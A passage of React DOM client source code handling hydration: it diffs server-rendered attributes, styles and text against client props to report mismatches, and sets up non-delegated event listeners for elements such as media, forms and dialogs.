{\n    const nextProp = nextProps[propKey];\n    const lastProp = lastProps[propKey];\n    if (\n      nextProps.hasOwnProperty(propKey) &&\n      nextProp !== lastProp &&\n      (nextProp != null || lastProp != null)\n    ) {\n      setProp(domElement, tag, propKey, nextProp, nextProps, lastProp);\n    }\n  }\n}\n\nfunction getPossibleStandardName(propName: string): string | null {\n  if (__DEV__) {\n    const lowerCasedName = propName.toLowerCase();\n    if (!possibleStandardNames.hasOwnProperty(lowerCasedName)) {\n      return null;\n    }\n    return possibleStandardNames[lowerCasedName] || null;\n  }\n  return null;\n}\n\nfunction getPropNameFromAttributeName(attrName: string): string {\n  switch (attrName) {\n    case 'class':\n      return 'className';\n    case 'for':\n      return 'htmlFor';\n    // TODO: The rest of the aliases.\n    default:\n      return attrName;\n  }\n}\n\nexport function getPropsFromElement(domElement: Element): Object {\n  const serverDifferences: {[propName: string]: mixed} = {};\n  const attributes = domElement.attributes;\n  for (let i = 0; i < attributes.length; i++) {\n    const attr = attributes[i];\n    serverDifferences[getPropNameFromAttributeName(attr.name)] =\n      attr.name.toLowerCase() === 'style'\n        ? getStylesObjectFromElement(domElement)\n        : attr.value;\n  }\n  return serverDifferences;\n}\n\nfunction getStylesObjectFromElement(domElement: Element): {\n  [styleName: string]: string,\n} {\n  const serverValueInObjectForm: {[prop: string]: string} = {};\n  const htmlElement: HTMLElement = (domElement: any);\n  const style = htmlElement.style;\n  for (let i = 0; i < style.length; i++) {\n    const styleName: string = style[i];\n    // TODO: We should use the original prop value here if it is equivalent.\n    // TODO: We could use the original client capitalization if the equivalent\n    // other capitalization exists in the DOM.\n    if (\n      styleName === 'view-transition-name' &&\n      isExpectedViewTransitionName(htmlElement)\n    ) {\n      // This is a view transition name added by the Fizz runtime, not the user's props.\n    } else {\n      serverValueInObjectForm[styleName] = style.getPropertyValue(styleName);\n    }\n  }\n  return serverValueInObjectForm;\n}\n\nfunction diffHydratedStyles(\n  domElement: Element,\n  value: mixed,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  if (value != null && typeof value !== 'object') {\n    if (__DEV__) {\n      console.error(\n        'The `style` prop expects a mapping from style properties to values, ' +\n          \"not a string. For example, style={{marginRight: spacing + 'em'}} when \" +\n          'using JSX.',\n      );\n    }\n    return;\n  }\n  // First we compare the string form and see if it's equivalent.\n  // This lets us bail out on anything that used to pass in this form.\n  // It also lets us compare anything that's not parsed by this browser.\n  const clientValue = createDangerousStringForStyles(value);\n  const serverValue = domElement.getAttribute('style');\n\n  if (serverValue === clientValue) {\n    return;\n  }\n  const normalizedClientValue = normalizeMarkupForTextOrAttribute(clientValue);\n  const normalizedServerValue = normalizeMarkupForTextOrAttribute(serverValue);\n  if (normalizedServerValue === normalizedClientValue) {\n    return;\n  }\n\n  if (\n    // Trailing semi-colon means this was regenerated.\n    normalizedServerValue[normalizedServerValue.length - 1] === ';' &&\n    // TODO: Should we just ignore any style if the style as been manipulated?\n    hasViewTransition((domElement: any))\n  ) {\n    // If this had a view transition we might have applied a view transition\n    // name/class and removed it. If that happens, the style attribute gets\n    // regenerated from the style object. This means we've lost the format\n    // that we sent from the server and is unable to diff it. We just treat\n    // it as passing even if it should be a mismatch in this edge case.\n    return;\n  }\n\n  // Otherwise, we create the object from the DOM for the diff view.\n  serverDifferences.style = getStylesObjectFromElement(domElement);\n}\n\nfunction hydrateAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n      case 'boolean':\n        return;\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n        case 'boolean':\n          break;\n        default: {\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, propKey);\n          }\n          if (serverValue === '' + value) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateBooleanAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'function':\n      case 'symbol':\n        return;\n    }\n    if (!value) {\n      return;\n    }\n  } else {\n    switch (typeof value) {\n      case 'function':\n      case 'symbol':\n        break;\n      default: {\n        if (value) {\n          // If this was a boolean, it doesn't matter what the value is\n          // the fact that we have it is the same as the expected.\n          // As long as it's positive.\n          return;\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateOverloadedBooleanAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n        return;\n      default:\n        if (value === false) {\n          return;\n        }\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n          break;\n        case 'boolean':\n          if (value === true && serverValue === '') {\n            return;\n          }\n          break;\n        default: {\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, propKey);\n          }\n          if (serverValue === '' + value) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateBooleanishAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n        return;\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n          break;\n        default: {\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, attributeName);\n          }\n          if (serverValue === '' + (value: any)) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateNumericAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n      case 'boolean':\n        return;\n      default:\n        if (isNaN(value)) {\n          return;\n        }\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n        case 'boolean':\n          break;\n        default: {\n          if (isNaN(value)) {\n            // We had an attribute but shouldn't have had one, so read it\n            // for the error message.\n            break;\n          }\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, propKey);\n          }\n          if (serverValue === '' + value) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydratePositiveNumericAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n      case 'boolean':\n        return;\n      default:\n        if (isNaN(value) || value < 1) {\n          return;\n        }\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n        case 'boolean':\n          break;\n        default: {\n          if (isNaN(value) || value < 1) {\n            // We had an attribute but shouldn't have had one, so read it\n            // for the error message.\n            break;\n          }\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, propKey);\n          }\n          if (serverValue === '' + value) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateSanitizedAttribute(\n  domElement: Element,\n  propKey: string,\n  attributeName: string,\n  value: any,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue === null) {\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n      case 'boolean':\n        return;\n    }\n  } else {\n    if (value == null) {\n      // We had an attribute but shouldn't have had one, so read it\n      // for the error message.\n    } else {\n      switch (typeof value) {\n        case 'function':\n        case 'symbol':\n        case 'boolean':\n          break;\n        default: {\n          if (__DEV__) {\n            checkAttributeStringCoercion(value, propKey);\n          }\n          const sanitizedValue = sanitizeURL('' + value);\n          if (serverValue === sanitizedValue) {\n            return;\n          }\n        }\n      }\n    }\n  }\n  warnForPropDifference(propKey, serverValue, value, serverDifferences);\n}\n\nfunction hydrateSrcObjectAttribute(\n  domElement: Element,\n  value: Blob,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  const attributeName = 'src';\n  extraAttributes.delete(attributeName);\n  const serverValue = domElement.getAttribute(attributeName);\n  if (serverValue != null && value != null) {\n    const size = value.size;\n    const type = value.type;\n    if (typeof size === 'number' && typeof type === 'string') {\n      if (serverValue.indexOf('data:' + type + ';base64,') === 0) {\n        // For Blobs we don't bother reading the actual data but just diff by checking if\n        // the byte length size of the Blob maches the length of the data url.\n        const prefixLength = 5 + type.length + 8;\n        let byteLength = ((serverValue.length - prefixLength) / 4) * 3;\n        if (serverValue[serverValue.length - 1] === '=') {\n          byteLength--;\n        }\n        if (serverValue[serverValue.length - 2] === '=') {\n          byteLength--;\n        }\n        if (byteLength === size) {\n          return;\n        }\n      }\n    }\n  }\n  warnForPropDifference('src', serverValue, value, serverDifferences);\n}\n\nfunction diffHydratedCustomComponent(\n  domElement: Element,\n  tag: string,\n  props: Object,\n  hostContext: HostContext,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n) {\n  for (const propKey in props) {\n    if (!props.hasOwnProperty(propKey)) {\n      continue;\n    }\n    const value = props[propKey];\n    if (value == null) {\n      continue;\n    }\n    if (registrationNameDependencies.hasOwnProperty(propKey)) {\n      if (typeof value !== 'function') {\n        warnForInvalidEventListener(propKey, value);\n      }\n      continue;\n    }\n    if (props.suppressHydrationWarning === true) {\n      // Don't bother comparing. We're ignoring all these warnings.\n      continue;\n    }\n    // Validate that the properties correspond to their expected values.\n    switch (propKey) {\n      case 'children': {\n        if (typeof value === 'string' || typeof value === 'number') {\n          warnForPropDifference(\n            'children',\n            domElement.textContent,\n            value,\n            serverDifferences,\n          );\n        }\n        continue;\n      }\n      // Checked above already\n      case 'suppressContentEditableWarning':\n      case 'suppressHydrationWarning':\n      case 'defaultValue':\n      case 'defaultChecked':\n      case 'innerHTML':\n      case 'ref':\n        // Noop\n        continue;\n      case 'dangerouslySetInnerHTML':\n        const serverHTML = domElement.innerHTML;\n        const nextHtml = value ? value.__html : undefined;\n        if (nextHtml != null) {\n          const expectedHTML = normalizeHTML(domElement, nextHtml);\n          warnForPropDifference(\n            propKey,\n            serverHTML,\n            expectedHTML,\n            serverDifferences,\n          );\n        }\n        continue;\n      case 'style':\n        extraAttributes.delete(propKey);\n        diffHydratedStyles(domElement, value, serverDifferences);\n        continue;\n      case 'offsetParent':\n      case 'offsetTop':\n      case 'offsetLeft':\n      case 'offsetWidth':\n      case 'offsetHeight':\n      case 'isContentEditable':\n      case 'outerText':\n      case 'outerHTML':\n        extraAttributes.delete(propKey.toLowerCase());\n        if (__DEV__) {\n          console.error(\n            'Assignment to read-only property will result in a no-op: `%s`',\n            propKey,\n          );\n        }\n        continue;\n      // Fall through\n      case 'className':\n        // className is a special cased property on the server to render as an attribute.\n        extraAttributes.delete('class');\n        const serverValue = getValueForAttributeOnCustomComponent(\n          domElement,\n          'class',\n          value,\n        );\n        warnForPropDifference(\n          'className',\n          serverValue,\n          value,\n          serverDifferences,\n        );\n        continue;\n      default: {\n        // This is a DEV-only path\n        const hostContextDev: HostContextDev = (hostContext: any);\n        const hostContextProd = hostContextDev.context;\n        if (\n          hostContextProd === HostContextNamespaceNone &&\n          tag !== 'svg' &&\n          tag !== 'math'\n        ) {\n          extraAttributes.delete(propKey.toLowerCase());\n        } else {\n          extraAttributes.delete(propKey);\n        }\n        const valueOnCustomComponent = getValueForAttributeOnCustomComponent(\n          domElement,\n          propKey,\n          value,\n        );\n        warnForPropDifference(\n          propKey,\n          valueOnCustomComponent,\n          value,\n          serverDifferences,\n        );\n      }\n    }\n  }\n}\n\n// This is the exact URL string we expect that Fizz renders if we provide a function action.\n// We use this for hydration warnings. It needs to be in sync with Fizz. Maybe makes sense\n// as a shared module for that reason.\nconst EXPECTED_FORM_ACTION_URL =\n  // eslint-disable-next-line no-script-url\n  \"javascript:throw new Error('React form unexpectedly submitted.')\";\n\nfunction diffHydratedGenericElement(\n  domElement: Element,\n  tag: string,\n  props: Object,\n  hostContext: HostContext,\n  extraAttributes: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n) {\n  for (const propKey in props) {\n    if (!props.hasOwnProperty(propKey)) {\n      continue;\n    }\n    const value = props[propKey];\n    if (value == null) {\n      continue;\n    }\n    if (registrationNameDependencies.hasOwnProperty(propKey)) {\n      if (typeof value !== 'function') {\n        warnForInvalidEventListener(propKey, value);\n      }\n      continue;\n    }\n    if (props.suppressHydrationWarning === true) {\n      // Don't bother comparing. We're ignoring all these warnings.\n      continue;\n    }\n    // Validate that the properties correspond to their expected values.\n    switch (propKey) {\n      case 'children': {\n        if (typeof value === 'string' || typeof value === 'number') {\n          warnForPropDifference(\n            'children',\n            domElement.textContent,\n            value,\n            serverDifferences,\n          );\n        }\n        continue;\n      }\n      // Checked above already\n      case 'suppressContentEditableWarning':\n      case 'suppressHydrationWarning':\n      case 'value': // Controlled attributes are not validated\n      case 'checked': // TODO: Only ignore them on controlled tags.\n      case 'selected':\n      case 'defaultValue':\n      case 'defaultChecked':\n      case 'innerHTML':\n      case 'ref':\n        // Noop\n        continue;\n      case 'dangerouslySetInnerHTML':\n        const serverHTML = domElement.innerHTML;\n        const nextHtml = value ? value.__html : undefined;\n        if (nextHtml != null) {\n          const expectedHTML = normalizeHTML(domElement, nextHtml);\n          if (serverHTML !== expectedHTML) {\n            serverDifferences[propKey] = {\n              __html: serverHTML,\n            };\n          }\n        }\n        continue;\n      case 'className':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'class',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'tabIndex':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'tabindex',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'style':\n        extraAttributes.delete(propKey);\n        diffHydratedStyles(domElement, value, serverDifferences);\n        continue;\n      case 'multiple': {\n        extraAttributes.delete(propKey);\n        const serverValue = (domElement: any).multiple;\n        warnForPropDifference(propKey, serverValue, value, serverDifferences);\n        continue;\n      }\n      case 'muted': {\n        extraAttributes.delete(propKey);\n        const serverValue = (domElement: any).muted;\n        warnForPropDifference(propKey, serverValue, value, serverDifferences);\n        continue;\n      }\n      case 'autoFocus': {\n        extraAttributes.delete('autofocus');\n        const serverValue = (domElement: any).autofocus;\n        warnForPropDifference(propKey, serverValue, value, serverDifferences);\n        continue;\n      }\n      case 'data':\n        if (tag !== 'object') {\n          extraAttributes.delete(propKey);\n          const serverValue = (domElement: any).getAttribute('data');\n          warnForPropDifference(propKey, serverValue, value, serverDifferences);\n          continue;\n        }\n      // fallthrough\n      case 'src': {\n        if (enableSrcObject && typeof value === 'object' && value !== null) {\n          // Some tags support object sources like Blob, File, MediaSource and MediaStream.\n          if (tag === 'img' || tag === 'video' || tag === 'audio') {\n            try {\n              // Test if this is a compatible object\n              URL.revokeObjectURL(URL.createObjectURL((value: any)));\n              hydrateSrcObjectAttribute(\n                domElement,\n                value,\n                extraAttributes,\n                serverDifferences,\n              );\n              continue;\n            } catch (x) {\n              // If not, just fall through to the normal toString flow.\n            }\n          } else {\n            if (__DEV__) {\n              try {\n                // This should always error.\n                URL.revokeObjectURL(URL.createObjectURL((value: any)));\n                if (tag === 'source') {\n                  console.error(\n                    'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +\n                      'Pass it directly to <img src>, <video src> or <audio src> instead.',\n                  );\n                } else {\n                  console.error(\n                    'Passing Blob, MediaSource or MediaStream to <%s src> is not supported.',\n                    tag,\n                  );\n                }\n              } catch (x) {}\n            }\n          }\n        }\n        // Fallthrough\n      }\n      case 'href':\n        if (\n          value === '' &&\n          // <a href=\"\"> is fine for \"reload\" links.\n          !(tag === 'a' && propKey === 'href') &&\n          !(tag === 'object' && propKey === 'data')\n        ) {\n          if (__DEV__) {\n            if (propKey === 'src') {\n              console.error(\n                'An empty string (\"\") was passed to the %s attribute. ' +\n                  'This may cause the browser to download the whole page again over the network. ' +\n                  'To fix this, either do not render the element at all ' +\n                  'or pass null to %s instead of an empty string.',\n                propKey,\n                propKey,\n              );\n            } else {\n              console.error(\n                'An empty string (\"\") was passed to the %s attribute. ' +\n                  'To fix this, either do not render the element at all ' +\n                  'or pass null to %s instead of an empty string.',\n                propKey,\n                propKey,\n              );\n            }\n          }\n          continue;\n        }\n        hydrateSanitizedAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'action':\n      case 'formAction': {\n        const serverValue = domElement.getAttribute(propKey);\n        if (typeof value === 'function') {\n          extraAttributes.delete(propKey.toLowerCase());\n          // The server can set these extra properties to implement actions.\n          // So we remove them from the extra attributes warnings.\n          if (propKey === 'formAction') {\n            extraAttributes.delete('name');\n            extraAttributes.delete('formenctype');\n            extraAttributes.delete('formmethod');\n            extraAttributes.delete('formtarget');\n          } else {\n            extraAttributes.delete('enctype');\n            extraAttributes.delete('method');\n            extraAttributes.delete('target');\n          }\n          // Ideally we should be able to warn if the server value was not a function\n          // however since the function can return any of these attributes any way it\n          // wants as a custom progressive enhancement, there's nothing to compare to.\n          // We can check if the function has the $FORM_ACTION property on the client\n          // and if it's not, warn, but that's an unnecessary constraint that they\n          // have to have the extra extension that doesn't do anything on the client.\n          continue;\n        } else if (serverValue === EXPECTED_FORM_ACTION_URL) {\n          extraAttributes.delete(propKey.toLowerCase());\n          warnForPropDifference(propKey, 'function', value, serverDifferences);\n          continue;\n        }\n        hydrateSanitizedAttribute(\n          domElement,\n          propKey,\n          propKey.toLowerCase(),\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'xlinkHref':\n        hydrateSanitizedAttribute(\n          domElement,\n          propKey,\n          'xlink:href',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'contentEditable': {\n        // Lower-case Booleanish String\n        hydrateBooleanishAttribute(\n          domElement,\n          propKey,\n          'contenteditable',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'spellCheck': {\n        // Lower-case Booleanish String\n        hydrateBooleanishAttribute(\n          domElement,\n          propKey,\n          'spellcheck',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'draggable':\n      case 'autoReverse':\n      case 'externalResourcesRequired':\n      case 'focusable':\n      case 'preserveAlpha': {\n        // Case-sensitive Booleanish String\n        hydrateBooleanishAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'allowFullScreen':\n      case 'async':\n      case 'autoPlay':\n      case 'controls':\n      case 'default':\n      case 'defer':\n      case 'disabled':\n      case 'disablePictureInPicture':\n      case 'disableRemotePlayback':\n      case 'formNoValidate':\n      case 'hidden':\n      case 'loop':\n      case 'noModule':\n      case 'noValidate':\n      case 'open':\n      case 'playsInline':\n      case 'readOnly':\n      case 'required':\n      case 'reversed':\n      case 'scoped':\n      case 'seamless':\n      case 'itemScope': {\n        // Some of these need to be lower case to remove them from the extraAttributes list.\n        hydrateBooleanAttribute(\n          domElement,\n          propKey,\n          propKey.toLowerCase(),\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'capture':\n      case 'download': {\n        hydrateOverloadedBooleanAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'cols':\n      case 'rows':\n      case 'size':\n      case 'span': {\n        hydratePositiveNumericAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'rowSpan': {\n        hydrateNumericAttribute(\n          domElement,\n          propKey,\n          'rowspan',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'start': {\n        hydrateNumericAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      }\n      case 'xHeight':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'x-height',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkActuate':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:actuate',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkArcrole':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:arcrole',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkRole':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:role',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkShow':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:show',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkTitle':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:title',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xlinkType':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xlink:type',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xmlBase':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xml:base',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xmlLang':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xml:lang',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'xmlSpace':\n        hydrateAttribute(\n          domElement,\n          propKey,\n          'xml:space',\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      case 'inert':\n        if (__DEV__) {\n          if (\n            value === '' &&\n            !didWarnForNewBooleanPropsWithEmptyValue[propKey]\n          ) {\n            didWarnForNewBooleanPropsWithEmptyValue[propKey] = true;\n            console.error(\n              'Received an empty string for a boolean attribute `%s`. ' +\n                'This will treat the attribute as if it were false. ' +\n                'Either pass `false` to silence this warning, or ' +\n                'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.',\n              propKey,\n            );\n          }\n        }\n        hydrateBooleanAttribute(\n          domElement,\n          propKey,\n          propKey,\n          value,\n          extraAttributes,\n          serverDifferences,\n        );\n        continue;\n      default: {\n        if (\n          // shouldIgnoreAttribute\n          // We have already filtered out null/undefined and reserved words.\n          propKey.length > 2 &&\n          (propKey[0] === 'o' || propKey[0] === 'O') &&\n          (propKey[1] === 'n' || propKey[1] === 'N')\n        ) {\n          continue;\n        }\n        const attributeName = getAttributeAlias(propKey);\n        let isMismatchDueToBadCasing = false;\n\n        // This is a DEV-only path\n        const hostContextDev: HostContextDev = (hostContext: any);\n        const hostContextProd = hostContextDev.context;\n\n        if (\n          hostContextProd === HostContextNamespaceNone &&\n          tag !== 'svg' &&\n          tag !== 'math'\n        ) {\n          extraAttributes.delete(attributeName.toLowerCase());\n        } else {\n          const standardName = getPossibleStandardName(propKey);\n          if (standardName !== null && standardName !== propKey) {\n            // If an SVG prop is supplied with bad casing, it will\n            // be successfully parsed from HTML, but will produce a mismatch\n            // (and would be incorrectly rendered on the client).\n            // However, we already warn about bad casing elsewhere.\n            // So we'll skip the misleading extra mismatch warning in this case.\n            isMismatchDueToBadCasing = true;\n            extraAttributes.delete(standardName);\n          }\n          extraAttributes.delete(attributeName);\n        }\n        const serverValue = getValueForAttribute(\n          domElement,\n          attributeName,\n          value,\n        );\n        if (!isMismatchDueToBadCasing) {\n          warnForPropDifference(propKey, serverValue, value, serverDifferences);\n        }\n      }\n    }\n  }\n}\n\nexport function hydrateProperties(\n  domElement: Element,\n  tag: string,\n  props: Object,\n  hostContext: HostContext,\n): boolean {\n  if (__DEV__) {\n    validatePropertiesInDevelopment(tag, props);\n  }\n\n  // TODO: Make sure that we check isMounted before firing any of these events.\n  switch (tag) {\n    case 'dialog':\n      listenToNonDelegatedEvent('cancel', domElement);\n      listenToNonDelegatedEvent('close', domElement);\n      break;\n    case 'iframe':\n    case 'object':\n    case 'embed':\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the load event.\n      listenToNonDelegatedEvent('load', domElement);\n      break;\n    case 'video':\n    case 'audio':\n      // We listen to these events in case to ensure emulated bubble\n      // listeners still fire for all the media events.\n      for (let i = 0; i < mediaEventTypes.length; i++) {\n        listenToNonDelegatedEvent(mediaEventTypes[i], domElement);\n      }\n      break;\n    case 'source':\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the error event.\n      listenToNonDelegatedEvent('error', domElement);\n      break;\n    case 'img':\n    case 'image':\n    case 'link':\n      // We listen to these events in case to ensure emulated bubble\n      // listeners still fire for error and load events.\n      listenToNonDelegatedEvent('error', domElement);\n      listenToNonDelegatedEvent('load', domElement);\n      break;\n    case 'details':\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the toggle event.\n      listenToNonDelegatedEvent('toggle', domElement);\n      break;\n    case 'input':\n      if (__DEV__) {\n        checkControlledValueProps('input', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n      // TODO: Make sure we check if this is still unmounted or do any clean\n      // up necessary since we never stop tracking anymore.\n      validateInputProps(domElement, props);\n      // For input and textarea we current always set the value property at\n      // post mount to force it to diverge from attributes. However, for\n      // option and select we don't quite do the same thing and select\n      // is not resilient to the DOM state changing so we don't do that here.\n      // TODO: Consider not doing this for input and textarea.\n      if (!enableHydrationChangeEvent) {\n        initInput(\n          domElement,\n          props.value,\n          props.defaultValue,\n          props.checked,\n          props.defaultChecked,\n          props.type,\n          props.name,\n          true,\n        );\n      }\n      break;\n    case 'option':\n      validateOptionProps(domElement, props);\n      break;\n    case 'select':\n      if (__DEV__) {\n        checkControlledValueProps('select', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n      validateSelectProps(domElement, props);\n      break;\n    case 'textarea':\n      if (__DEV__) {\n        checkControlledValueProps('textarea', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n      // TODO: Make sure we check if this is still unmounted or do any clean\n      // up necessary since we never stop tracking anymore.\n      validateTextareaProps(domElement, props);\n      if (!enableHydrationChangeEvent) {\n        initTextarea(\n          domElement,\n          props.value,\n          props.defaultValue,\n          props.children,\n        );\n      }\n      break;\n  }\n\n  const children = props.children;\n  // For text content children we compare against textContent. This\n  // might match additional HTML that is hidden when we read it using\n  // textContent. E.g. \"foo\" will match \"f<span>oo</span>\" but that still\n  // satisfies our requirement. Our requirement is not to produce perfect\n  // HTML and attributes. Ideally we should preserve structure but it's\n  // ok not to if the visible content is still enough to indicate what\n  // even listeners these nodes might be wired up to.\n  // TODO: Warn if there is more than a single textNode as a child.\n  // TODO: Should we use domElement.firstChild.nodeValue to compare?\n  if (\n    typeof children === 'string' ||\n    typeof children === 'number' ||\n    typeof children === 'bigint'\n  ) {\n    if (\n      // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n      domElement.textContent !== '' + children &&\n      props.suppressHydrationWarning !== true &&\n      !checkForUnmatchedText(domElement.textContent, children)\n    ) {\n      return false;\n    }\n  }\n\n  if (props.popover != null) {\n    // We listen to this event in case to ensure emulated bubble\n    // listeners still fire for the toggle event.\n    listenToNonDelegatedEvent('beforetoggle', domElement);\n    listenToNonDelegatedEvent('toggle', domElement);\n  }\n\n  if (props.onScroll != null) {\n    listenToNonDelegatedEvent('scroll', domElement);\n  }\n\n  if (props.onScrollEnd != null) {\n    listenToNonDelegatedEvent('scrollend', domElement);\n    if (enableScrollEndPolyfill) {\n      // For use by the polyfill.\n      listenToNonDelegatedEvent('scroll', domElement);\n    }\n  }\n\n  if (props.onClick != null) {\n    // TODO: This cast may not be sound for SVG, MathML 